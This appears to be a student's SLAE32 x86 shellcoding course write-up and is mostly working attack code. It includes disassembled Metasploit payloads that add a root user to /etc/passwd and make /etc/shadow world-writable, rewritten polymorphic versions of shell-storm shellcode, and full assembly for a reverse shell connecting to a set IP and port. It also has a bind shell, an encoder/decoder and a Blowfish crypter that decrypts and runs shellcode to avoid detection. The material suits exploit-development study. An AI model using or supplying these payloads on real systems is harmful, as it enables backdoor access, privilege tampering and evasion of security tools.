SLAE32

- ## Analysis

Analyze three Metasploit linux shellcodes:

❖ Add User

Generating payload using msfvenom as follows:

$$msfvenom\ linux/x86/adduser\ -f\ c$$

In order to extract the generated shellcode instructions, I used c code to execute it and then gdb to debug the executable and extract the payload in assembly instructions. The below code is the C code to execute our shellcode:

```
#include "stdio.h"

int main(int argc, char *argv[])
{

char shellcode[]
="\x31\xc9\x89\xcb\x6a\x46\x58\xcd\x80\x6a\x05\x58\x31\xc9\x51"
"\x68\x73\x73\x77\x64\x68\x2f\x2f\x70\x61\x68\x2f\x65\x74\x63"
"\x89\xe3\x41\xb5\x04\xcd\x80\x93\xe8\x28\x00\x00\x00\x6d\x65"
"\x74\x61\x73\x70\x6c\x6f\x69\x74\x3a\x41\x7a\x2f\x64\x49\x73"
"\x6a\x34\x70\x34\x49\x52\x63\x3a\x30\x3a\x30\x3a\x3a\x2f\x3a"
"\x2f\x62\x69\x6e\x2f\x73\x68\x0a\x59\x8b\x51\xfc\x6a\x04\x58"
"\xcd\x80\x6a\x01\x58\xcd\x80";

printf("Length: %d\n",strlen(shellcode));
(*(void(*)()) shellcode)();

return 0;
}
```

The Generated payload in assembly instructions:

```
xor     ecx,ecx
mov     ebx,ecx
push    0x46
pop     eax
int     0x80
push    0x5
pop     eax
xor     ecx,ecx
push    ecx
push    0x64777373
push    0x61702f2f
push    0x6374652f
mov     ebx,esp
inc     ecx
mov     ch,0x4
int     0x80
xchg    ebx,eax
call    0xbfffef31
ins     DWORD PTR es:[edi],dx
   ...
0xbfffef31:  pop     ecx
mov     edx,DWORD PTR [ecx-0x4]
push    0x4
pop     eax
int     0x80
push    0x1
pop     eax
int     0x80
```

Let us track syscalls and from then figure out what is happening by using gdb.

```
xor     ecx,ecx    ;clears ecx
mov     ebx,ecx    ;clears ebx
push    0x46       ;preparing setgid syscall {setgid (%ebx)}
pop     eax
int     0x80       ;setgid to the process will run with group id of the file
```

The above code clears ecx, and ebx registers and then calls (setgid) syscall to run the process of "/etc/passwd" group id.

```
push    0x5         ;preparing open syscall {open (%ebx , %ecx , %edx )}
pop     eax
xor     ecx,ecx
push    ecx         ;pushing null for [/etc/passwd]
push    0x64777373 ;pushing [/etc/passwd]
push    0x61702f2f
push    0x6374652f
mov     ebx,esp
inc     ecx         ;increments ecx [0] by one for the next instruction to make it 0x401
mov     ch,0x4      ;open syscall flags
int     0x80        ;opens [/etc/passwd]
```

Then it opens "/etc/passwd" file after pushing the reverse hex into the stack and saves a pointer into ebx, then modifying the syscall flags or permissions into ecx.

```
xchg    ebx,eax
call    0xbfffef31
ins     DWORD PTR es:[edi],dx    ;the next set of instructions represent
[metasploit:Az/dIsj4p4IRc:0:0::/:/bin/sh]

   ...

0xbfffef31:  pop    ecx          ;get [metasploit:Az/dIsj4p4IRc:0:0::/:/bin/sh] from stack
and stores it in ecx
mov     edx,DWORD PTR [ecx-0x4] ;get length of [metasploit:Az/dIsj4p4IRc:0:0::/:/bin/sh]
and stores it in edx which is [40]
push    0x4                     ;preparing write syscall {write (%ebx , %ecx , %edx )}
pop     eax
int     0x80                    ;writes [metasploit:Az/dIsj4p4IRc:0:0::/:/bin/sh] into
opened file [/etc/passwd] with length of [40]
```

The above uses a nice trick instead of the famous jmp-call-pop. So, after calling `0xbfffef31` the stack will contain Metasploit user to be popped later into ecx. Then calls (write) syscall to add Metasploit user into “/etc/passwd”.

```
push    0x1              ;preparing exit syscall  {_exit (%ebx)}
pop     eax
int     0x80             ;exits gracefully
```

In the end, calling (exit) syscall to exit gracefully.

Exec

Generating payload using msfvenom as follows:

$$msfvenom\ -p\ linux/x86/exec\ cmd = whoami\ -f\ c$$

Generated shellcode to be used in C code for execution:

```
unsigned char buf[] =
"\x6a\xBF\x58\x99\x52\x66\x68\x2d\x63\x89\xe7\x68\x2f\x73\x68"
"\x00\x68\x2f\x62\x69\x6e\x89\xe3\x52\xe8\x07\x00\x00\x00\x77"
"\x68\x6f\x61\x6d\x69\x00\x57\x53\x89\xe1\xcd\x80";
```

Then using the same method to extract the payload assembly instructions.

```
push    0xb
pop     eax
cdq
push    edx
pushw   0x632d
mov     edi,esp
push    0x68732f
push    0x6e69622f
mov     ebx,esp
push    edx
call    0xbfffef49
ja      0xbfffefac
outs    dx,DWORD PTR ds:[esi]
popa
ins     DWORD PTR es:[edi],dx

0xbfffef49: push    edi
push    ebx
mov     ecx,esp
int     0x80
```

Let us again track syscalls and figure out which are being called in this payload.

```
push    0xb                 ;preparing execve syscall {execve (%ebx , %ecx,%edx)}
pop     eax
cdq                         ;clears edx, by taking the sign bit from eax (0) and copies it to
every bit in edx
push    edx                 ;pushes 0
pushw   0x632d              ;pushes 2 bytes for execve argument [-c]
mov     edi,esp             ;put [-c] to edi
push    0x68732f            ;pushes [/bin/sh]
push    0x6e69622f
mov     ebx,esp             ;put [/bin/sh] to ebx
push    edx                 ;pushes 0
call    0xbfffef49
ja      0xbfffefac          ;the next set of instructions represent [whoami]
outs    dx,DWORD PTR ds:[esi]
popa
ins     DWORD PTR es:[edi],dx

0xbfffef49: push    edi     ;contains [-c]
push    ebx                 ;contains [/bin/sh]
mov     ecx,esp             ;[/bin/sh -c whoami] final representation of the argument of
execve
int     0x80                ;execute execve
```

So, the above code uses only (execve) syscall to execute “whoami” command and once again we see the same trick to jmp-call-pop to get “whoami” into the stack. Then pushes the argument and the filename to be executed which is in our case “/bin/sh”.

❖ Chmod

Generating payload using msfvenom as follows:

$$msfvenom\ -p\ linux/x86/chmod\ -f\ c$$

Generated shellcode to be used in C code for execution:

```
unsigned char buf[] =
"\x99\x6a\x0f\x58\x52\xe8\x0c\x00\x00\x00\x2f\x65\x74\x63\x2f"
"\x73\x68\x61\x64\x6f\x77\x00\x5b\x68\xb6\x01\x00\x00\x59\xcd"
"\x80\x6a\x01\x58\xcd\x80";
```

Then using ndisasm to disassemble the payload.

$$msfvenom\ -p\ linux/x86/chmod\ -f\ raw\ |\ ndisasm-u-$$

```
00000000  99                cdq
00000001  6A0F              push byte +0xf
00000003  58                pop eax
00000004  52                push edx
00000005  E80C000000        call 0x16
0000000A  2F                das
0000000B  657463            gs jz 0x71
0000000E  2F                das
0000000F  7368              jnc 0x79
00000011  61                popa
00000012  646F              fs outsd
00000014  7700              ja 0x16
00000016  5B                pop ebx
00000017  68B6010000        push dword 0x1b6
0000001C  59                pop ecx
0000001D  CD80              int 0x80
0000001F  6A01              push byte +0x1
00000021  58                pop eax
00000022  CD80              int 0x80
```

By tracking syscalls and finding what is happening, we notice the following.

```
cdq                ;copies sign bit of eax into every bit of edx
push byte +0xf     ;preparing chmod syscall
pop eax
push edx           ;pushes 0 for null termination
call 0x16
das                ;the next set of instructions represent [/etc/shadow]
gs jz 0x71
das
jnc 0x79
popa
fs outsd
ja 0x16
00000016  pop ebx ;gets null terminated string [/etc/shadow] to ebx
push dword 0x1b6
pop ecx            ;puts chmod mode to ecx
int 0x80           ;syscall chmod(const char *path, mode_t mode) {chmod(%ebx,%ecx)}
```

As we can see the use of (cdq) instruction to zero out edx. We again witness the alternative way of jmp-call-pop to get the shadow file into ebx and finally executing chmod syscall.

```
push byte +0x1  ;preparing exit syscall
pop eax
int 0x80        ;exit gracefully by exit syscall
```

Finally calling (exit) syscall and exit the program gracefully.

Polymorphism

Create three different polymorphisms out of three different shellcodes taken from shell-storm.

❖ Chmod

First a chmod shellcode taken from shell-storm, you can find the original here with (57 bytes):

http://shell − storm.org/shellcode/files/shellcode − 828.php

After re-writing the shellcode we get the following assembly instructions with (33 bytes):

```
global _start

section .text
_start:
    jmp short getFile   ;Doing jmp-call-pop method

goChmod:
    pop ebx             ;get [/etc/shadow] of the stack
    xor eax, eax        ;clears eax
    mov al,15           ;preparing chmod syscall
    xor ecx,ecx         ;clears eax
    mov cx,511          ;putting chmod flags
    int 0x80            ;execute chmod
    mov al, 0x1         ;preparing exit syscall
    int 0x80            ;exits gracefully

getFile:
    call goChmod
    shadw: db 0x2f,0x65,0x74,0x63,0x2f,0x73,0x68,0x61,0x64,0x6f,0x77    ;contains
[/etc/shadow]
```

Using the famous method to get the desired file into ebx, then saving chmod flags into ecx. After that exit the program gracefully.

❖ Read File

Second polymorphic is a read file shellcode taken from shell-storm, you can find the original here with (42 bytes):

http://shell − storm.org/shellcode/files/shellcode − 758.php

After re-writing the shellcode we get the following assembly instructions with (51 bytes):

```
global _start

section .text

_start:
    xor eax, eax            ;clear eax
    jmp short two           ;jmp-call-pop

one:
    pop ecx                 ;get [/etc/passwdB] into ecx
    lea ebx, [ecx+12]       ;get [/bin/catA] into ebx
    xor byte [ecx +11], 0x42;xor with 'B' to zero out [/etc/passwd] string
    xor byte [ebx +8], 0x41 ;xor with 'A' to zero out [bin/cat] string

    push eax
    push ecx                ;push [/etc/passwd] into the stack
    push ebx                ;push [/bin/cat] into the stack
    mov al, 11              ;preparing execve syscall
    mov ecx, esp            ;put [/bin/cat /etc/passwd], which was pushed earlier into
ecx
    int 0x80                ;execute execve

two:
    call one
    file: db "/etc/passwdB"
    exe: db "/bin/catA"
```

Using jmp-call-pop to get the desired file to be read which in our case is “/etc/passwd” and cat command path. Then to zero out the string I attached a letter in each one of them and xor it afterwards. After that using (execve) syscall to execute cat command.

❖ Add User

Third one is an add user shellcode taken from shell-storm, you can find the original here with (124 bytes):

$$http://shell-storm.org/shellcode/files/shellcode-798.php$$

After re-writing the shellcode we get the following assembly instructions with (102 bytes):

```
global _start
section .text

_start:
    mov     al, 17
    xor ebx, ebx                ;clear ebx
    int    0x80
    mov    al,46                ;preparing setgid syscall {setgid (%ebx)}
    push   ebx
    int    0x80                 ;setgid to the process will run with group id of the file
    xor eax, eax                ;clear ebx
    jmp short pass              ;jmp-call-pop
    go:
        pop ebx                 ;contains [/etc/passwdB]
        xor byte [ebx +11], 0x42 ;zero out [/etc/passwd] string

    mov    cx,1025              ;open syscall flags
    mov al, 5                   ;preparing open syscall {open (%ebx , %ecx , %edx )}
    int    0x80                 ;opens [/etc/passwd]
    mov    ebx,eax
    jmp short user              ;jmp-call-pop

    con:
        pop ecx                 ;contains [iph::0:0:IPH:/root:/bin/bashA]
        xor byte [ecx +28], 0x41 ;zero out [iph::0:0:IPH:/root:/bin/bash]

    mov al, 4                   ;preparing write syscall {write (%ebx , %ecx , %edx )}
    mov dl, 28                  ;length of [iph::0:0:IPH:/root:/bin/bash]
    int    0x80                 ;writes [iph::0:0:IPH:/root:/bin/bash] into opened file
[/etc/passwd] with length of [28]
    mov al, 6                   ;preparing close syscall
    int    0x80                 ;close file of [/etc/passwd]
    mov al, 1                   ;preparing exit syscall
    int    0x80                 ;exits gracefully

pass:
    call go
    file: db "/etc/passwdB"

user:
    call con
    auser: db "iph::0:0:IPH:/root:/bin/bashA"
```

Finally using jmp-call-pop to get the desired file to be opened which is “/etc/passwd” zero out it. The same happens to the user to be added.

- ## Reverse Connection

In order to create a reverse connection, we need 4 steps. The first will be initiating a (socket) with the use of socketcall syscall then (connect) to the remote host with a specified port. After that handing over stdin and stdout using (dup2) syscall, and lastly executing bash or sh using (execve) syscall.

❖ Initiate Socket

```
global _start

section .text
_start:
    ;[ socketcall socket ]
    push 0x66           ; syscall socketcall
    pop eax
    xor ebx, ebx        ; clears ebx
    xor ecx, ecx        ; clears ecx
    mov bl, 0x1         ; ebx = 1   socket
    push ecx            ; socket option for IP {IPPROTO_IP = 0}
    push ebx            ; socket type to open tcp {SOCK_STREAM = 1}
    push byte 0x2       ; Internet Ip Protocol {AF_INET = 2}
    mov ecx, esp
    int 0x80            ; execute socket
    mov edi, eax        ; contains file describter sockfd
```

❖ Connect

```
    ;[ socketcall connect ]
    push 0x66           ; syscall socketcall
    pop eax
    push 0x3
    pop ebx             ; ebx = 3 , connect(sockfd, (struct sockaddr *)&socketaddr,
sizeof(addr))
    push 0x8AF2A8C0     ; IP for connect
    push 0xBB010002     ; port for connect &  AF_INET = 2
    mov ecx,esp         ; socketaddr which is:
                        ; socketaddr.sin_family = AF_INET;
                        ; socketaddr.sin_port = 443
                        ; socketaddr.sin_addr.s_addr ="192.168.242.138"
    push 16             ; addrlen = 0.0.0.0 (16 bits)
    push ecx            ; addr to bind struct
    push edi            ; saved sockfd status
    mov ecx,esp
    int 0x80            ; execute connect
    cmp al, 0           ; if connection doesnt succeed, exit
    jne exit
```

❖ Dup2

```
    mov ebx, edi        ; saved sockfd status
    xor ecx, ecx        ; clears ecx
    mov cl,0x2          ; number of loop iteration
loop:
    mov al, 0x3f        ; syscall dup2
    int 0x80
    dec ecx             ; decrement by 1
    jns loop
```

❖ Execve

```
    ;[ execve shell ]
    xor eax, eax
    mov al, 0xB         ; syscall execve
    jmp short shell
go:
    pop ebx             ; get "/bin/shA" of the stack
    xor byte [ebx+7], 0x41  ; null to end of /bin/sh
    push esi
    push ebx
    mov ecx, esp        ; argv = 0
    mov edx, esi        ; envp = 0
    int 0x80            ; execute execve

shell:
    call go
    bin: db "/bin/shA"
```

❖ Complete Assembly Code

```
global _start
section .text
_start:
    ;[ socketcall socket ]
    push 0x66           ; syscall socketcall
    pop eax
    xor ebx, ebx        ; clears ebx
    xor ecx, ecx        ; clears ecx
    mov bl, 0x1         ; ebx = 1   socket
    push ecx            ; socket option for IP {IPPROTO_IP = 0}
    push ebx            ; socket type to open tcp {SOCK_STREAM = 1}
    push byte 0x2       ; Internet Ip Protocol {AF_INET = 2}
    mov ecx, esp
    int 0x80            ; execute socket
    mov edi, eax        ; contains file describter sockfd
    ;[ socketcall connect ]
    push 0x66           ; syscall socketcall
    pop eax
    push 0x3
    pop ebx             ; ebx = 3 , connect(sockfd, (struct sockaddr *)&socketaddr, sizeof(addr))
    push 0x8AF2A8C0     ; IP for connect
    push 0xBB010002     ; port for connect &  AF_INET = 2
    mov ecx,esp
    push 16             ; addrlen = 0.0.0.0 (16 bits)
    push ecx            ; addr to bind struct
    push edi            ; saved sockfd status
    mov ecx,esp
    int 0x80            ; execute connect
    cmp al, 0           ; if connection doesnt succeed, exit
    jne exit
    mov ebx, edi        ; saved sockfd status
    xor ecx, ecx        ; clears ecx
    mov cl,0x2          ; number of loop iteration
loop:
    mov al, 0x3f        ; syscall dup2
    int 0x80
    dec ecx             ; decrement by 1
    jns loop
    ;[ execve shell ]
    xor eax, eax
    mov al, 0xB         ; syscall execve
    jmp short shell
go:
    pop ebx             ; get "/bin/shA" of the stack
    xor byte [ebx+7], 0x41  ; null to end of /bin/sh
    push esi
    push ebx
    mov ecx, esp        ; argv = 0
    mov edx, esi        ; envp = 0
    int 0x80            ; execute execve
shell:
    call go
    bin: db "/bin/shA"
exit:
    push 4          ; print syscall
    pop eax
    push 17         ; error message length
    pop edx
    push 1
    pop ebx
    push esi        ; push null
    push 0x726f7272 ; push error message
    push 0x45206e6f
    push 0x69746365
    push 0x6e6e6f43
    mov ecx, esp
    int 0x80        ; print error message
    xor eax, eax
    mov al, 1       ; syscall exit
    int 0x80        ; exits gracefully
```

Bind Connection

Similar to reverse connection, but additional 2 steps. First a socket creation, after that we need to bind that socket to a local address using (bind) socketcall. Then we have to accept incoming connection to that bound socket using (listen) and accept them using (accept) socketcall. At last handing over both stdin and stdout using (dup2) syscall, then executing bash or sh using (execve) syscall

Initiate Socket

```
global _start
section .text
_start:
    ;[ socketcall socket ]
    push 0x66           ; syscall socketcall
    pop eax
    xor ebx, ebx        ; clears ebx
    xor ecx, ecx        ; clears ecx
    mov bl, 0x1         ; ebx = 1   socket(int domain, int type, int protocol)
    push ecx            ; socket option for IP {0}
    push ebx            ; socket type to open tcp {SOCK_STREAM = 1}
    push byte 0x2       ; Internet Ip Protocol {PF_INET = AF_INET = 2}
    mov ecx, esp
    int 0x80            ; execute socket
    mov edi, eax        ; contains file describter sockfd
```

Bind

```
    ;[ socketcall Bind ]
    push 0x66           ; syscall socketcall
    pop eax
    push 0x2
    pop ebx             ; ebx = 2 bind(int sockfd, const struct sockaddr *addr, socklen_t
addrlen)
    push esi            ; IP to connect 0x0100007f
    push word 0x3930    ; port for connect &  PF_INET = 2
    push word 2
    mov ecx,esp         ; hostaddr which is:
                        ; hostaddr.sin_family = PF_INET
                        ; hostaddr.sin_port = 12345
                        ; hostaddr.sin_addr.s_addr =any
    push 16             ; hostaddrlen = 0.0.0.0 (16 bits)
    push ecx            ; addr to bind struct
    push edi            ; saved sockfd
    mov ecx,esp
    int 0x80            ; execute bind
    cmp eax, esi        ; check if bind doesnt succeed, exit
    jne exit
```

Listen

```
;[ socketcall listen ]
push 0x66       ; syscall socketcall
pop eax
push 0x4
pop ebx         ; ebx = 4 listen(sockfd, backlog)
push esi        ; backlog =0
push edi        ; saved sockfd
mov ecx, esp
int 0x80        ; execute listen
```

❖ Accept

```
;[ socketcall accept ]
push 0x66       ; syscall socketcall
pop eax
push 0x5
pop ebx         ; ebx = 5 accept(sockfd, struct sockaddr *addr, socklen_t *addrlen)

push esi        ; addrlen = 0
push esi        ; addr = 0
push edi        ; saved sockfd
mov ecx, esp
int 0x80        ; execute accept
```

❖ Dup2

```
    mov ebx, eax ; save  file descriptor(fd) for the accepted socket, and use it for dup2
    xor ecx, ecx ; clears ecx
    mov cl,0x2   ; number of loop iteration
loop:
    mov al, 0x3f ; syscall dup2   dup2 (int oldfd , int newfd ) >> ebx=old, ecx=new
    int 0x80
    dec ecx      ; decrement by 1
    jns loop
```

❖ Execve

```
;[ execve shell ]
xor eax, eax
cdq         ; envp = 0
mov al, 0xB             ; syscall execve
push esi        ; esi = 0
push 0x68732f6e         ; n/sh
push 0x69622f2f         ; //bi
mov ebx, esp            ; filename
mov ecx, esi        ; argv = 0
int 0x80                ; exec execve
```

❖ Complete Assembly Code

```
global _start
section .text
_start:
 ;[ socketcall socket ]
 push 0x66       ; syscall socketcall
 pop eax
 xor ebx, ebx        ; clears ebx
 xor ecx, ecx        ; clears ecx
 mov bl, 0x1         ; ebx = 1   socket(int domain, int type, int protocol)
 push ecx            ; socket option for IP {0}
```

```
    push ebx            ; socket type to open tcp {SOCK_STREAM = 1}
    push byte 0x2       ; Internet Ip Protocol {PF_INET = AF_INET = 2}
    mov ecx, esp
    int 0x80            ; exec socket
    mov edi, eax        ; contains file describter sockfd
    ;[ socketcall Bind ]
    push 0x66           ; syscall socketcall
    pop eax
    push 0x2
    pop ebx             ; ebx = 2 ;bind(int sockfd, const struct sockaddr *addr, socklen_t addrlen)
    push esi            ; IP to connect 0x0100007f
    push word 0x3930    ; port for connect &  PF_INET = 2
    push word 2
    mov ecx,esp         ; hostaddr which is:
                        ; hostaddr.sin_family = PF_INET;
                        ; hostaddr.sin_port = 12345
                        ; hostaddr.sin_addr.s_addr =any
    push 16             ; hostaddrlen = 0.0.0.0 (16 bits)
    push ecx            ; addr to bind struct
    push edi            ; saved sockfd
    mov ecx,esp
    int 0x80            ; exec bind
    cmp eax, esi        ; check if bind doesnt succeed, exit
    jne exit
    ;[ socketcall listen ]
    push 0x66       ; syscall socketcall
    pop eax
    push 0x4
    pop ebx         ; ebx = 4 listen(sockfd, backlog)
    push esi        ; backlog =0
    push edi        ; saved sockfd
    mov ecx, esp
    int 0x80        ; exec listen
    ;[ socketcall accept ]
    push 0x66       ; syscall socketcall
    pop eax
    push 0x5
    pop ebx         ; ebx = 5 accept(sockfd, struct sockaddr *addr, socklen_t *addrlen)
    push esi        ; addrlen = 0
    push esi        ; addr = 0
    push edi        ; saved sockfd
    mov ecx, esp
    int 0x80        ; exec accept
    mov ebx, eax ; save     file descriptor(fd) for the accepted socket, and use it for dup2
    xor ecx, ecx ; clears ecx
    mov cl,0x2   ; number of loop iteration
loop:
    mov al, 0x3f ; syscall dup2  dup2 (int oldfd , int newfd ) >> ebx=old, ecx=new
    int 0x80
    dec ecx      ; decrement by 1
    jns loop
    ;[ execve shell ]
    xor eax, eax
    cdq             ; envp = 0
    mov al, 0xB     ; syscall execve
    push esi        ; esi = 0
    push 0x68732f6e ; n/sh
    push 0x69622f2f ; //bi
    mov ebx, esp    ; filename
    mov ecx, esi    ; argv = 0
    int 0x80        ; exec execve
exit:
    push 4
    pop eax
    push 21
    pop edx
    push 1
    pop ebx
    push esi
    push 0x74656b63     ; push error message
    push 0x6f532067
    push 0x6e69646e
    push 0x69422072
    push 0x6f727245
    mov ecx, esp
    int 0x80
    xor eax, eax
    mov al, 1        ; syscall exit
    int 0x80         ; exits gracefully
```

- ## Encoder

This part is divided into two, the first is encoding our shellcode (execve /bin/sh) by complementing each byte using python. The second part will be decoding our encoded shellcode and executing it.

❖ Python Encoder

```
#!/usr/bin/python
import sys

shellcode =
("\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x89\xe2\x53\x89\xe1\xb0\x0b\xcd\x80")
encoded = []

print 'Encoded shellcode ...'

for x in bytearray(shellcode) :

    y = ~x
    print y
    encoded.append(hex(y))

for i in encoded:
    sys.stdout.write(i)
    sys.stdout.write(',')

print '\nLen: %d' % len(bytearray(shellcode))
```

❖ Assembly Instruction Decoder

```
global _start

section .text
_start:

    jmp short call_decoder  ;jmp-call-pop technique

decoder:
    pop esi                 ;get the shellcode
    xor ecx, ecx            ;clears ecx
    mov cl, 25              ;number of iterations

decode:
    neg byte [esi]          ;complements a byte to get the original
    dec byte [esi]
    inc esi                 ;point to the next byte
    loop decode
    jmp short Shellcode     ;execute the shellcode

call_decoder:

    call decoder
    Shellcode: db -0x32,-0xc1,-0x51,-0x69,-0x30,-0x30,-0x74,-0x69,-0x69,-0x30,-0x63,-
0x6a,-0x6f,-0x8a,-0xe4,-0x51,-0x8a,-0xe3,-0x54,-0x8a,-0xe2,-0xb1,-0xc,-0xce,-0x81
```

❖ Executing Shellcode

```
#include<stdio.h>
#include<string.h>

unsigned char code[] = \
"\xeb\x0e\x5e\x31\xc9\xb1\x19\xf6\x1e\xfe\x0e\x46\xe2\xf9\xeb\x05\xe8\xed\xff\xff\xff\xce
\x3f\xaf\x97\xd0\xd0\x8c\x97\x97\xd0\x9d\x96\x91\x76\x1c\xaf\x76\x1d\xac\x76\x1e\x4f\xf4\
x32\x7f";

main()
{
    printf("Shellcode Length:  %d\n", strlen(code));
    int (*ret)() = (int(*)())code;
    ret();
}
```

- ## Cryptor

❖ Encryption

Blowfish is a symmetric block cipher that can be used as a drop-in replacement for DES or IDEA. It takes a variable-length key, from 32 bits to 448 bits, making it ideal for both domestic and exportable use. Blowfish was designed in 1993 by Bruce Schneier as a fast, free alternative to existing encryption algorithms [1]. Using openssl library which can be explained here and based on online examples to build our crypter:

```
#include <stdio.h>
#include <openssl/blowfish.h>
#include <string.h>

//based on:
//https://stackoverflow.com/questions/20133502/encrypting-and-decrypting-a-message-with-
blowfish
//gcc blow.c -o blow -lcrypto

int main(){

BF_KEY *key = malloc(sizeof(BF_KEY));
unsigned char *encryption_key = "KeyOfMemories";
const unsigned char *original =
"\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x89\xe2\x53\x89\xe1\xb0
\x0b\xcd\x80";

printf("Original Shellcode\n");
unsigned char *tmpin = original;
while(*tmpin){
printf("\\x%02x",*tmpin++);
}

size_t Original_size = strlen(original) + 1;
printf("\nOrginial Shellcode Size: %i\n",Original_size);
int Key_Length = strlen(encryption_key);
size_t Rez_size = (Original_size + 7) & (~7);
unsigned char *Encrypted_shellcode = malloc(Rez_size);
unsigned char *chunk = Encrypted_shellcode;

//Defining key
BF_set_key(key, Key_Length, encryption_key);


//Encryption    BF_ecb_encrypt(const unsigned char *in, unsigned char *out,BF_KEY *key,
int enc);
while (Original_size >= 8) {
  BF_ecb_encrypt(original, chunk, key, BF_ENCRYPT);
  original += 8;
  chunk += 8;
  Original_size -= 8;
}
if (Original_size > 0) {
  unsigned char buffer[8];
  memcpy(buffer, original, Original_size);
  int i;
  for (i=Original_size; i<8; i++) {
    buffer[i] = rand();
  }
  BF_ecb_encrypt(buffer, chunk, key, BF_ENCRYPT);
}

printf("\nEncrypted Shellcode:\n");
unsigned char *tmp = Encrypted_shellcode;
while(*tmp){
fprintf(stdout,"\\x%02x",*tmp++);
}
printf("\n");

}
```

- **Decryption**

  Now, since we have our cipher output from our encryption process we just need to convert it back to our original shellcode and execute it. With the help of openssl library we just have to define our key and reverse it back.

```c
#include <stdio.h>
#include <openssl/blowfish.h>
#include <string.h>
#include <stdlib.h>

int main(int argc, char **argv){

if( argc != 2 ){
printf("Enter Length of Original Shellcode.\n");
return 1;
}
BF_KEY *key = malloc(sizeof(BF_KEY));

unsigned char *crypt_key = "KeyOfMemories";     //Key
size_t Original_size = atoi(argv[1]);
int Key_Length = strlen(crypt_key);
size_t Rez_size = (Original_size + 7) & (~7);
unsigned char *Encrypted_shellcode =
"\xee\xda\x69\xac\xde\x15\x7a\x6d\x25\x55\xcb\x8c\x59\x04\xb6\xf1\x2f\x8a\xa7\x17\x05\xc1
\xa2\x31\x6f\x78\x75\x51\xf0\x6c\x8e\x1b";  //Encrypted Shellcode

//Defining key
BF_set_key(key, Key_Length, crypt_key);


printf("Encrypted Shellcode:\n");
unsigned char *etmp = Encrypted_shellcode;
int esize=0;
while(*etmp){
fprintf(stdout,"\\x%2x",*etmp++);
esize++;
}

//Decrypting Shellcode
unsigned char *shellcode = malloc(Rez_size);
unsigned char *Shell_chunk = shellcode;

while (Rez_size) {

  BF_ecb_encrypt(Encrypted_shellcode, Shell_chunk, key, BF_DECRYPT);
  Encrypted_shellcode += 8;
  Shell_chunk += 8;
  Rez_size -= 8;
}


//Printing Decrypted shellcode & Execute

printf("\nDecrypted Shellcode:\n");
unsigned char *tmp = shellcode;
int sizo=0;
while(*tmp){
fprintf(stdout,"\\x%02x",*tmp++);
sizo++;
}

printf("\nExecuting Shellcode:\n");
int (*funptr)() = (int(*)())shellcode;

funptr();

return 0;
}
```

- **References**

1. **https://www.schneier.com/academic/blowfish/**